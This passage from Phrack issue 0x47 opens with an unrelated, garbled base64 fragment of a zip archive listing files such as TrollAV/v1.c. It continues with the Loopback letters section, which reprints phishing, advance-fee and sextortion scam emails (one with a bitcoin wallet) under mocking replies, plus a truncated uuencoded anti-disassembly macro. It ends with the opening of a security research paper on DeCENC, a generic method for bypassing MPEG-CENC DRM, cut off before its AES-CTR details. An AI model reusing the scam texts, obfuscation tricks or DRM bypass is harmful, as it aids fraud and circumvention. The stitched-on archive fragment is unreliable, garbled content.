A9zGuVnIj2ugu8baoc3fUEsBAj8AFAAAAAAAa68FWQAAAAAAAAAAAAAAAAgA JAAAAAAAAAAQAAAAAAAAAFRyb2xsQVYvCgAgAAAAAAABABgArzKpZb3n2gEA AAAAAAAAAAAAAAAAAAAAUEsBAj8AFAAAAAgAaq8FWYJXCh4BBAAA7QYAABEA JAAAAAAAAAAgAAAAJgAAAFRyb2xsQVYvUkVBRE1FLm1kCgAgAAAAAAABABgA TGCPZb3n2gEAAAAAAAAAAAAAAAAAAAAAUEsBAj8AFAAAAAgAa68FWdFPXsMJ AwAA9gYAAAwAJAAAAAAAAAAgAAAAVgQAAFRyb2xsQVYvdjEuYwoAIAAAAAAA AQAYAHXxlmW959oBAAAAAAAAAAAAAAAAAAAAAFBLAQI/ABQAAAAIAGuvBVkK 2m8J4QIAADwGAAAMACQAAAAAAAAAIAAAAIkHAABUcm9sbEFWL3YyLmMKACAA AAAAAAEAGAAOuZ5lvefaAQAAAAAAAAAAAAAAAAAAAABQSwECPwAUAAAACABr rwVZW4DCgREGAACXEAAAEgAkAAAAAAAAACAAAACUCgAAVHJvbGxBVi92M19p c2FwaS5jCgAgAAAAAAABABgANzmkZb3n2gEAAAAAAAAAAAAAAAAAAAAAUEsB Aj8AFAAAAAgAa68FWTGd5IfWBAAA8g4AAAwAJAAAAAAAAAAgAAAA1RAAAFRy b2xsQVYvdjQuYwoAIAAAAAAAAQAYAGxvqGW959oBAAAAAAAAAAAAAAAAAAAA AFBLAQI/ABQAAAAIAGuvBVnKHHAQgQkAAM4jAAASACQAAAAAAAAAIAAAANUV AABUcm9sbEFWL3Y0X2lzYXBpLmMKACAAAAAAAAEAGACnHK1lvefaAQAAAAAA AAAAAAAAAAAAAABQSwUGAAAAAAcABwCfAgAAhh8AAAAA

====

<‑‑>

Loopback

==Phrack Inc.==

Volume 0x10, Issue 0x47, Phile #0x04 of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ L O O P B A C K ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Phrack Staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello yes, it's time for loopback. Thanks for all the emails!

Email loopback@phrack.org with your rants n raves.

|=[ 0x01 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: sdb

Subject: hi

hi yes hello i work night shift at a call center for a dispensary and enjoy NOT getting high on my breaks! been smoking consistently for over a decade and been working for my place for over 2 years now anyway over the past year i've NOT been hitting whatever i have on hand at the time (usually vapes cuz theyre handy but occasionally a coworker smokes me NOT out) and coming back to work on my website (https://vacantmotel.neocities.org if u

care....) that i created to teach myself HTML/CSS and really fell into it. the neocities fanbase is tiny but amazing, full of guides and templates and assets&links!! so i built a fun routine: come back NOT lit from last break (everyone is gone by then), make some green tea, put on some lofi/ambience/vaporwave then just zen out...a ritual i also repeated at home too for a while then idk, got distracted but i still update frequently both sober and high!

i've done other languages high too but none as fun as the web design stuff. at least yet, i'm still a novice in this world. pythons easy, done some simple game tutorials high and i love simple C stuff like Nir Lichtman on youtube (quick&minimal tutorials). a bit of Rust, yadda yadda and several attempts to learn assembly which...is a work in progresS. i also built&setup my first PC blunted! :D (it turned out ok!)

along my journey i met my first hacker irl! he was cool i learned a lot (fuzzing and SIEMs and stuff) and wouldnt ya know it, he smoked too! so one day we were hanging, doing dabs and talking and he said to me words that i live by to this day: "a true professional can get the job done no matter how high you are" and i was like...hey yeah, actually though!

i have gained obscene knowledge of weed since then and can (and frequently do) talk about it for literal hours(its my job!)! differences in lineage, terpenes, parent strains, growers, seed sellers, myths and conspiracies and it just goes on....if youre interested in learning more, check out sites like https://allbud.com or find pretty much any major dispo's info

pages or idk, ask around! pretty warm community nowadays! much like computers and in life, you learn something new every day :)

thanks for listening to me ramble, heres a parting gift: https://youtu.be/WGinY8pKAno

much love,

sdb

[ Boss makes a dollar, I make a dime, that's why I hit the pen on company time ]

|=[ 0x02 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: eatscrayon

Subject: ||

Dear Phrack,

If reality is a simulation, would it be a simulation of the future or the past? If it's a simulation of the past then that means the real you is already dead, you died WAY before we had computers powerful enough to simulate everything, right? On the flipside, if this is a simulation of the future, then there is no guarantee that you will get born in the first place!

‑eatscrayon

[ So you're saying that this email could have been sent by a computer simulation of you from the past, or from the future? To quote Lilly Wachowski: "Fuck both of you" ]

|=[ 0x03 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: p.zdanowicz@ac‑cargo‑trans.pl

Subject: Legal action is being taken against Michael Cera by the Bank of Canada for his live TV statements

Michael Cera's secret was unexpectedly exposed during a live interview, leading to a scandal.Plenty of viewers picked up on the seemingly "random" words he spoke and flooded the live broadcast with messages.Still, the unfolding events reached a critical point as the Bank of Canada intervened, swiftly stopping the program with an urgent demand to cease the live broadcast promptly.

Increased focus on information <‑‑ [ This was a button ]

[ How exactly did the Bank of Canada interfere with a live broadcast? Did they dress up like Max Headroom and spank each other with fly swatters? If not, why? ]

|=[ 0x04 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Sistem Otel ProgramÄ± Demo<rapor@ascbilisim.com> Subject: rtrtrtrtrtrt

rtrtrtrt

[ rt? Well we do have a Twitter now, @phrack, but what do you want us to Retweet? Or do you mean racertrash? Hackers (2021) was great. HACK THE PLANET YUH YUH https://youtu.be/nD08LiLmdRA ]

|=[ 0x05 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: MRS ALICE<rapor@ascbilisim.com>

Subject: HELLO DEAR

HELLO DEAR

MY NAME IS MRS ALICE THOMAS WARGEN, PLEASE I WANT YOU TO REPLY ME BACK AS SOON AS YOU READ THIS MESSAGE BECAUSE I WANT TO DISCUSS SOMETHING VERY IMPORTANT WITH YOU.

I AM A CANCER PATIENT WITH A VERY SHORT TIME TO LIVE AND I AM CONTACTING YOU BECAUSE I WANT TO ENTRUST THE SUM OF (USD$14.5 MILLION) TO YOUR HAND AS A DONATION FOR CHARITY WORK TO HELP THE ORPHANAGES, WIDOWS, AND MOTHERLESS CHILDREN AROUND YOU.

THIS MONEY WAS DEPOSITED BY MY LATE HUSBAND IN ONE OF THE BANK HERE AND OUR PLAN WAS TO USE IT FOR INTERNATIONAL INVESTMENT BEFORE THE DEATH OF MY HUSBAND.

CONSIDERING MY PRESENT BAD HEALTH CONDITION WHICH MY LAST DATE HAVE BEEN CONFIRMED BY MY DOCTORS ,I HAVE DECIDED TO ENTRUST THIS FUND TO YOUR HAND FOR CHARITY WORK.

I AM WAITING YOUR URGENT REPLY FOR MORE INSTRUCTION AND INFORMATION ABOUT THIS FUND,

I WILL GIVE YOU THE FUNDS PROOF DOCUMENTS IN MY NEXT MAIL

MAY GOD BLESS YOU.

CONTACT ME BY EMAIL : ms6084775@gmail.com

[ Wait a minute, I thought you wanted us to retweet you. Or are you trying to give this money to racertrash? RTRTRTRTRT!!!! ]

|=[ 0x06 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Admin Support@phrack.org<noreply@messagespring.com> Subject: NOTICE

Dear loopback@phrack.org

Our system has detected irregular activity related to your account. As a precautionary measure, we have blocked your account.

To regain access, please confirm Email

Confirm Email <‑‑ [ This was a button ]

[ We clicked the button and restored our account access. There are a lot of other people logged in here now, this must be the Admin Support team. Good looks, we feel so supported now! ]

|=[ 0x07 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Asish Sahoo<asish@seoservicelab.com>

Subject: Elevate Your Online Presence

Hello Team,

I hope things are well. Just thought I would let you know I noticed a couple of technical errors on your website phrack.org.

Being a stickler for content I noticed a couple of web content‑related mistakes on your website that I thought I would bring to your attention. It is on one of the inner pages.

I have one of the digital marketers preparing a strategic plan report for you. I thought you might find it interesting and probably a core reason why your online visibility is not increasing.

Can I send the plan to you or is there someone else I should send it to?

Thanks,

Asish Sahoo | SEO Expert

Building No 430

Bhubaneswar 751006

India

[ For a zine as old as Phrack, there are bound to be some technical errors. If you think you can do it better, you should send a paper for the next issue!

As for our online visibility, what is wrong with our current strategy? Do we need to start doing TikTok dances? Do we need more videos of someone squishing colorful sand, family guy clips, or subway surfer gameplay footage? Let us know! ]

|=[ 0x08 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: mark1003zsh<mark1003zsh@163.com>

Subject: Re: New technology OF steel fiber

Dear managerï¼Œ

We are a professional manufacturer of steel fiber since 2012.

Our main products are End hooked steel fiber/Glued steel fiber/copper coated micro steel fiber/Crimped steel fiber.

Nowdays,We have developed a professional technology,If you need a steel fiber technology that can increase profits and market shareï¼Œpls contact us!

Best regards,

Terry Xie

Phone No./Skype/whatsApp: +86 13582521206

[ tbh we thought this was about a type of steel fiber that was engineered specifically for use on OnlyFans. Come talk to us when you get that figured out! ]

|=[ 0x09 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: rutherford abbot<info@ediltestsrl.it>

Subject: No Subject

Hi.

This is your last chance to prevent unpleasant consequences and save your reputation.

Your operating systems on every device you use to log into your emails are infected with a Trojan virus.

I use a multiplatform virus with a hidden VNC. It works on any operating system: iOS, Android, MacOS, Windows.

Thanks to the encryption, no system will detect this virus. Every day its signatures are cleared.

I have already copied all your personal data to my own servers. Now I have access to your email, messengers, social networks, contact list. So now we've met and let's get down to business.

When I was gathering information about you, I realized that you really like to visit porn sites.

You really like to watch adult videos and get orgasms while watching them. I have some curious videos that were recorded from your screen.

I have edited a video that clearly shows your face and the way you watch porn and masturbate.

Your family and friends will have no problem recognizing you in this video. This video can completely destroy your reputation.

Not only can I distribute this video to your contacts and friends, but I can make it public for every user on the web.

I have a lot of your personal data. These are your browsing histories, messenger and social media correspondence, phone calls, personal photos and videos.

I can share every one of your secrets.

All it takes is one click of my mouse to make all the information stored on your device available to the public.

You understand the consequences.

It will be a real disaster.

Your life would be ruined.

I bet you want to prevent that, don't you?

It's very simple.

You need to transfer me 1300 US dollars (in bitcoin equivalent at the rate at the moment of funds transfer). After that, I will delete all information about you from my servers.

Trust me, I will not bother you again.

My bitcoin wallet for payment: 18rhW8tFJyyszgJr9yUes57nZjVP22BVu Don't know what Bitcoin is and how to use it? Use Google.

You have 48 hours to pay.

After reading this email, the timer starts automatically.

I've already been notified that you opened this email.

No need to respond to me on this message, this email was created automatically and is untraceable.

There is no need to try to contact anyone for help. Bitcoin wallet is untraceable, so you will just waste your time.

The police and other security services won't help you either.

In each of these cases, I will post all the videos without delay. All of your data is already copied to a cluster of my servers, so changing your passwords on email or social media won't help.

You have 48 hours! I hope you make the right decision.

[ Your wallet is empty babe, better luck next time! If you want to send us a paper on your multiplatform virus, we would love to read it, but won't hold our breath. ]

|=[ 0x0A ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Amethyst Basilisk

Subject: Fuck Your Graph

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Fuck Your Graph ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑=[ Amethyst Basilisk <amethyst.basilisk@gmail.com> ]=‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

While I understand that reverse engineers are enjoying their easy‑mode decompilers that have manifested long after the period of Hiew, while we are lavishing in this now ubiquitous backwards‑analyzing technology, we are rotting at the terminal while our assembly muscles languish. Antireversing in any sense is pretty much an aggressive "fuck you" to anyone attempting to lift the veil. Want to analyze my binary? Fuck you, I'm packed. Want to understand this code? Fuck you, it's obfuscated. Want to understand what I'm importing? Fuck you, functions are hashed.

Naturally one of the more common and effective methods of slowing the analyst down is obfuscating your code somehow. We all want to aspire to the heights of VMProtect, sure, but that's an extremely complex machine. A good "fuck you," in this case, is something that's simple to implement and effective at the same time.

Saying "fuck you" to the decompiler can be done with a deeper "fuck you": attacking the graph representation that everyone is accustomed to when outside the decompiler view. I won't bog you down with details, but long story short, disassemblers treat the call instruction wrong: they assume the function will return to the next instruction. That is not guaranteed.

So we can say "fuck you" to the disassemblers by rewriting all branching instructions into a series of calls. A NASM macro file has been attached to help you, too, say "fuck you" in a simplified way. See a crackme called "goldbox" on crackmes.one to see this tactic in action.

begin 644 callfuscation.asm

M<V5C=&EO;B`N=&5X=`I;0DE44R`V‑%T*.SL@=6YC;VUM96YT('1H:7,@=&\@ M96YA8FQE('1H92!M86‑R;W,*.SL@)61E9FEN92!#04Q,1E530T%424].("`@ M("`@("`@("`*("`@"B5I9F1E9B!#04Q,1E530T%424]."B`@(`H[.R!U<V4@

end

[ Gee thanks! ]

Phrack World News

It has been several years since the last Phrack release, and a _lot_ has happened in that time. We are still working on Phrack World News and are excited to share it with you soon. We'll announce it when it's ready!

MPEG-CENC

==Phrack Inc.==

Volume 0x10, Issue 0x47, Phile #0x06 of 0x11

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ MPEG‑CENC: Defective by Specification ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ David "retr0id" Buchanan ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of Contents

0 ‑ Introduction

1 ‑ The Video Streaming DRM Landscape

1.0 ‑ Pointing a Camera at the Screen (Aka â€œThe Analog Holeâ€) 1.1 ‑ Digitally Recording the HDMI Port

1.2 ‑ Exfiltrating the Decrypted but Not‑Yet‑Decompressed Data 1.3 ‑ Exfiltrating Content Keys

1.4 ‑ Exfiltrating CDM Secrets

1.5 ‑ EME, MSE, WTF?

2 ‑ The DeCENC Exploit

2.0 ‑ How to Bypass a Video Decoder

2.1 ‑ Leveraging I_PCM

2.2 ‑ The Devilish Details

2.2.0 ‑ Background: AES‑CTR

2.2.1 ‑ NAL Unit Emulation Prevention Bytes

2.2.2 ‑ Chroma Subsampling

2.2.3 ‑ Limited Range Color

2.2.4 ‑ Crafting I_PCM Bitstreams

2.2.5 ‑ Metadata Preparation

2.2.6 ‑ Video Stream Substitution

2.2.7 ‑ Putting It All Together

3 ‑ Capabilities

4 ‑ Mitigations

5 ‑ Aside: Learning about h264, MP4, and ISO‑BMFF

6 ‑ Reflections

7 ‑ References

[=================

[ 0. Introduction

[=================

You've probably heard the saying "DRM is defective by design". It's true, and I can prove it.

In this paper I present DeCENC, a generic attack on the MPEG‑CENC file format. DeCENC enables decryption of video files without direct knowledge of the key. The fundamental flaw involves the use of encryption without authentication ‑ a rookie error[0], although exploiting it in this context is fiddly, to say the least.

MPEG‑CENC is not DRM[1], but it is an encrypted media container format commonly used as part of DRM systems. Any DRM'd playback system that correctly implements the MPEG‑CENC specification is conceptually vulnerable to DeCENC. The attack relies on interactions with video codec features present in either h264 (AVC) or h265 (HEVC), which are both widely supported. Applicability to other codecs is plausible but has not yet been investigated.

DeCENC is a security research tool that may be used to assess the robustness of CENC‑compatible video DRM systems. Although the exploit aims to be generic, I make no specific claims of compatibility with any particular DRM system or configurations thereof. However, the PoC source release includes documentation for testing against "ClearKey", a pseudo‑DRM scheme defined as part of the W3C's EME specification[2].

The source is available here[3]: https://github.com/DavidBuchanan314/DeCENC

By the way, all the relevant MPEG specs are paywalled (thanks ISO,) so I'll try to keep my explanations here self‑contained.

[======================================

[ 1. The Video Streaming DRM Landscape

[======================================

Before I get into the attack itself, I'd like to give some background. I'm trying to steer clear of vendor‑specific implementation details, lest I lose the Do Not Violate The DMCA Challenge (2024 edition,) so here's an overview of how a generic video streaming DRM system might work:

+‑‑‑‑‑ The Big Scary DRM Black‑Box ‑‑‑‑‑+

|

+‑‑‑‑‑‑‑‑‑‑+ | +‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | | | License | |

| Movies |<‑‑‑‑>| Acquisition | |

| R Us | | +‑‑‑‑‑‑‑‑‑‑‑‑‑+

| dot com | | | Keyz |

| (content | | v |

| provider)| | +‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑‑‑‑‑‑‑‑‑‑‑

| |‑‑‑‑‑>| Decryption |‑‑>| Video Decoder |‑‑‑‑>| Monitor |‑> eyes

+‑‑‑‑‑‑‑‑‑‑+ | +‑‑‑‑‑‑‑‑‑‑‑‑‑+ +‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Like most video on the internet, it's compressed, with a codec like h264. But now it's encrypted, too. Your computer needs to decrypt it before it can render it to your screen, and that's where a CDM (Content Decryption Module) comes in. The CDM runs on "your" device, and is either implemented using software, secure hardware (e.g. inside a secure enclave,) or some combination of the two. My diagram represents it as "The Big Scary DRM Black‑Box" ‑ you're not supposed to be able to tamper with it, or meaningfully inspect its operation. In theory.

Before the CDM can decrypt the video, it needs the decryption key. How does the key get inside the CDM? It depends, but normally there's a protocol between the CDM and the content provider. During "license acquisition", the content provider decides whether it trusts the CDM, whether the user has permission to access the content, etc. If the licensing authority is happy with all the details, then it'll issue a "license" (containing relevant key material) to the CDM. This protocol is secured so that an eavesdropper can't just sniff keys as they travel over the network.

MPEG‑CENC is a container file format that stores the metadata a CDM needs in order to do its job, telling it which parts of the file are encrypted, how, and with which keys. It doesn't store keys directly (that would be too easy to break!) but instead references keys by an ID. The CDM is responsible for figuring out how to map a key ID to an actual decryption key. CENC stands for "Common ENCryption", the idea is that it's a common standard that many DRM systems can share. This is convenient for streaming platforms, because they can (in theory) serve the same file to all their users, regardless of which DRM system they're using (because not all platforms support all DRM systems.)

It's important to note that CENC is just a file format. The CENC specification doesn't say anything about how DRM should work, it is only concerned with encryption metadata. You could in theory use CENC for some non‑DRM purpose, or architect the DRM differently to what I just described above.

So that's how it's all *supposed* to work. Now let's go through some common ways that systems like this are broken, ordered roughly from easiest to hardest.

‑‑[ Method 0: Pointing a Camera at the Screen (Aka â€œThe Analog Holeâ€)

This attack is so low‑tech that it's impossible to prevent, although watermarking can discourage it. No matter how good your camera is, your recording will be imperfect. Sometimes called a "camrip", these are the bottom of the barrel in the video archival scene.

‑‑[ Method 1: Digitally Recording the HDMI Port

HDCP ("High‑bandwidth Digital Content Protection") is supposed to make this impossible, by encrypting the video link, but in practice even newer versions of HDCP are trivially bypassed using "splitter" dongles[4]. Similarly, it may be possible to record a device's screen using pure software methods, although CDMs can take steps to prevent this using platform‑specific features.

The result of this approach is much better than a camrip, but it also necessitates re‑compressing the video data. This is undesirable because it either inflates the file size, introduces codec artifacts, or both. This problem is known as Generation Loss[5]. The resulting video file might be labeled as a "WEBRip".

‑‑[ Method 2: Exfiltrating the Decrypted but Not‑Yet‑Decompressed Data

Video decoding (i.e. decompression) is a separate process to decryption. At the very least, these will be implemented by two different areas of software, or even different pieces of hardware (e.g. a hardware video decoder.) CDMs will do their best to prevent it, but as the data travels between these two components it is potentially exposed to adversarial archivists.

‑‑[ Method 3: Exfiltrating Content Keys

For decryption to work, the relevant keys must be held *somewhere* within the walls of the CDM, within the playback device owned by the attacker. The keys can be obfuscated[6], put in secure hardware, etc., but they're still in there somewhere. A sufficiently determined attacker will always be able to get them back out again. Cryptographic side‑channel attacks[7] are very much on the cards here.

‑‑[ Method 4. Exfiltrating CDM Secrets

In practice, the CDM must contain some sort of key material that it uses to authenticate itself as genuine, during License Acquisition (i.e. content key provisioning.) This key material might be provisioned to hardware during device manufacturing, or it might just be another software‑obfuscated secret. If this identification/authentication material can be extracted[8][9][10] (or perhaps merely "code lifted"[11], in the case of software obfuscation,) then an attacker can replace the whole CDM with their own code, and request content keys from the licensing authority directly. They'll still need permission to view the content (e.g. a premium account on a streaming service,) but now they can trivially access its decryption keys. This general approach is perhaps the most difficult to achieve in the first place, but once you've got it working it's extremely repeatable.

Those last 3 techniques all permit an archivist to get a complete and "untouched" copy of the original video file, without any re‑encoding or other losses. The resulting file might be referred to as a "WEBDL", which is as good as it gets for archival of streamed videos (Note: Some people use the terms "WEBDL" and "WEBRip" interchangeably. I'm not one of those people.) Truly discerning archivists will usually opt for files sourced from physical media[12] however, but that's out of scope for this paper.

Every time you see "WEBDL" or "WEBRip" in a media file name, it's likely that one of the above techniques were used to obtain it, or some variation thereof. From the existence of these files we can perhaps infer that DRM is a "solved problem" (from the archival perspective, at least,) but many of those solutions remain closely guarded secrets.

‑‑[ 1.5: EME, MSE, WTF?

There's one last piece of background to get out of the way before I move on to the fun stuff. EME stands for Encrypted Media Extensions. It's a standardized API for the web platform that allows web pages to show DRM‑encumbered content. CENC still exists as a standalone format, but it's most commonly used today as a subcomponent of EME.

EME doesn't specify any actual DRM, it just describes an interface between DRM systems and web browsers.

MSE stands for Media Source Extensions. It's a closely related API that allows for more flexibility in how video data gets piped into HTML <video> elements, and using it is essential to EME.

I've shamelessly stolen the title of this subsection from an excellent article[13] that introduces these APIs in slightly more detail. It also touches on the ClearKey not‑DRM system I mentioned in the introduction.

[===================

[ 2. Introducing...

[===================

.‑‑.

| |‑‑‑‑‑‑‑‑‑. .‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| | _____ '.__.' _____ ______ _ _

| | | __ \ ___ / ____| ____| \ | |

| | | | | |/ _ \ | | |__ | \| |

| | | | | | __/ | | __| | . ` |

| | | |__| |\___| |____| |____| |\ |

| | |_____/ .‑‑. \_____|______|_| \_|

| |_________.' '.___________________

'‑‑'

I've come up with a new method to achieve exfiltration of decrypted video data, BUT without having to directly interfere with a CDM ‑ it stays as a "black box". Instead, we manipulate its inputs and outputs, using only the documented interfaces (i.e. the CENC file format, and the EME+MSE APIs.) This means the attack is broadly applicable, regardless of CDM implementation details. It's about as portable as the EME API itself (at least, in theory.) This is far from the first time a DRM system has been broken, but it might be the first* time it's been done in such a generic and broadly‑scoped way.

*An honorable mention definitely goes to "Steal This Movie: Automatically Bypassing DRM Protection in Streaming Media Services"[14]. In the years since that paper, DRM systems have been hardened against such approaches, although I imagine the same will be true for DeCENC in the future.

Here's an overview of the attack:

+‑‑‑‑‑ The Big Scary DRM Black‑Box ‑‑‑‑‑+

|

+‑‑‑‑‑‑‑‑‑‑+ | +‑‑‑‑‑‑‑‑‑‑‑‑‑+

| | | | License | |

| |<‑‑‑‑>| Acquisition | |

| Movies | | +‑‑‑‑‑‑‑‑‑‑‑‑‑+

| R Us | | | Keyz |

| | | v +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ |

| | | +‑‑‑‑‑‑‑‑‑‑‑‑‑+ | Video | | +‑‑‑‑‑‑‑‑‑+

| | ,‑‑‑>| Decryption |‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>| Monitor |‑> eyes

+‑‑‑‑‑‑‑‑‑‑+ | | +‑‑‑‑‑‑‑‑‑‑‑‑‑+ | Decoder | | +‑‑‑‑‑‑‑‑‑+

| | | +‑‑‑

v | +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+‑‑‑‑‑+ |

| hax |‑‑‑‑'

+‑‑‑‑‑+ HDMI capture card, or maybe a very good camera |

| ,‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

v v

+‑‑‑‑‑‑‑‑‑‑+

| more hax |‑‑‑‑‑‑‑> Hot.New.Movie.2024.2160p.WEB‑DL.mp4 +‑‑‑‑‑‑‑‑‑‑+

The main trick here is a method to "bypass" the video decoder (I'll explain what that means shortly.)

The consequence is that decrypted (but still compressed) video data is rendered onto the screen as‑is, in raw form. Visually this just looks like random noise, but if recorded and processed appropriately it can be recombined with the source media steam to obtain a playable decrypted copy. Although a capture card may be involved in this process, there is no need to re‑compress any data, making the resulting file a "WEBDL" rather than a "WEBRip".

The attack involves feeding a specially crafted MPEG‑CENC file (containing a crafted h264 bitstream) into the CDM. You might be thinking "surely the CDM would detect that you're feeding in the wrong file, and reject it?"

That would be a very sensible thing for it to do, but the MPEG‑CENC format provides no affordances for doing so.

‑‑[ 2.0: How to Bypass a Video Decoder

Under normal video‑watching conditions, what you see on your screen is the output of the video decoder. As an attacker, we aren't too interested in the decoded version of the video, we want the original compressed version (just after it's been decrypted.)

If we could somehow reverse the process of the decoder, we could get the data we want. If we characterize the video decoder as a mathematical function, mapping "codec bits" to "screen pixels", it is Surjective. That is, there's more than one (in fact, infinitely many) ways a given set of screen pixels can be represented in the codec bits. As attacker with access to the screen pixels, we can't hope to uniquely identify the codec bits that were originally used as input to the decoder, in the general case. (It's perhaps not completely impossible in practice, but it'd be an enormously complex and fragile process.)

But, we don't need to solve the general case, we can engineer a special case! If we craft a bitstream just right, we can ensure it has a very predictable decode, making it trivial to infer the codec input data from the screen pixel data.

The key to making predictable bitstreams is the "I_PCM macroblock", which is a codec feature present in both h264 and h265. An I_PCM macroblock is a 16x16 pixel* block of raw uncompressed pixel data. As demonstrated in the diagram below, it completely bypasses all of the usual complexity involved in I‑frame macroblock decoding.

*h265 supports other sizes.

Bitstream

|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

+‑‑‑‑‑v‑‑‑‑‑+ | | Entropy | I_PCM | Decode | Mode

+‑‑‑‑‑+‑‑‑‑‑+

|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|

+‑‑‑‑‑v‑‑‑‑‑+ | | | De‑quant | Lossless |

+‑‑‑‑‑+‑‑‑‑‑+ Mode |

|

|‑‑‑‑‑‑‑‑‑‑‑.

| |

+‑‑‑‑‑v‑‑‑‑‑+ | | | | Inverse | Transform | | | Transform | Skip | |

+‑‑‑‑‑+‑‑‑‑‑+ Mode | |

| |

|<‑‑‑‑‑‑‑‑‑‑'

|<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

+‑‑‑‑‑‑‑‑‑‑‑‑‑+ v |

| Intra/Inter | .‑. |

| Prediction |‑‑‑‑‑>: + : |

+‑‑‑‑‑‑‑‑‑‑‑‑‑+ '‑'

|<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

v

Reconstructed

Block

(Diagram based on Fig. 6.10 of "High Efficiency Video Coding (HEVC): Algorithms and Architectures"[15])

If we construct a whole video out of only I_PCM macroblocks, the encode/decode process becomes completely predictable and invertible.

‑‑[ 2.1: Leveraging I_PCM

I mentioned earlier that MPEG‑CENC holds metadata about which data is encrypted and how. This metadata is extremely granular, allowing specific byte ranges to be marked as encrypted vs not encrypted. There are some alignment requirements, but that's all.

To perform the attack, we parse the original encrypted CENC file and identify the encrypted byte ranges. This is the data we want to decrypt.

We stuff the encrypted data into the bodies of I_PCM macroblocks, making a whole video full of them. We add metadata to this new video file, instructing the CDM to decrypt only the bodies of the macroblocks.

When the CDM processes this crafted file, it'll decrypt the macroblocks for us, and display their contents verbatim on the screen. Visually, this will look like random garbage data. But as they say, one man's trash is another's treasure.

The screen contents are then captured losslessly (using one of several plausible methods,) and the pixel values are processed to place the decrypted byte values back into the original file. The end result is a fully decrypted file!

‑‑[ 2.2: The Devilish Details

Maybe I made things sound easy in the above summary, but there are several "gotchas", which I'll now discuss.

‑‑[ 2.2.0: Background: AES‑CTR

